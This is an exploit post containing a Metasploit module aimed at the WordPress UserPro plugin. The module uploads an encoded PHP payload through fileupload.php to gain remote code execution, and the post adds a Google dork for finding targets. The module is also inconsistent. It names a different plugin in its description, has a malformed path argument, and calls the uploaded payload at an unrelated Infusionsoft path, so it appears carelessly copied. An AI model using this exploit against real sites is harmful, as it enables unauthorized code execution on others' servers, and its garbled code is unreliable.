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WordPress Userpro Remote File Upload

Posted on 21 October 2016

# Exploit Title : Wordpress Userpro Remote File Upload
# Exploit Author : Ashiyane Digital Security Team
# Vendor Homepage : http://userproplugin.com/
# Google Dork : inurl:/wp-content/plugins/userpro/
# Date : 10/20/2016
# Tested on : Windows10/Linux
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress Userpro unauthorization Upload
Vulnerability',
'Description' => %q{
This module exploits an arbitrary PHP code upload in the
wordpress Ifileupload plugin,
The vulnerability allows for unauthorization file
upload and remote code execution.
},
'Author' =>
[
'T3rm!nat0r5',
'termijan <poyaterminator@gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
['Ref', 'http://priv8.termijan/'],
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['userpro', {}]],
'DisclosureDate' => 'Oct 20 2016',
'DefaultTarget' => 0)
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'userpro',
'userpro', 'lib', 'fileupload','fileupload.php')
)

if res && res.code == 200 && res.body =~ /Code Generator/ &&
res.body =~ /userpro/
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end

def exploit
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
res = send_request_cgi({
'uri' => normalize_uri(wp-content, 'plugins',
'userpro', 'lib', 'fileupload' , 'fileupload.php'),
'method' => 'POST',
'vars_post' =>
{
'fileNamePattern' => php_pagename,
'fileTemplate' => payload.encoded
}
})

if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
print_good("#{peer} - Our payload is at: #{php_pagename}.
Calling payload...")
register_files_for_cleanup(php_pagename)
else
fail_with("#{peer} - Unable deploy payload, server returned #{res.code}")
end

print_status("#{peer} - Calling payload ...")
send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
'Infusionsoft', 'utilities', php_pagename)
}, 2)
end

end
# Exploit by T3rm!nat0r5

 

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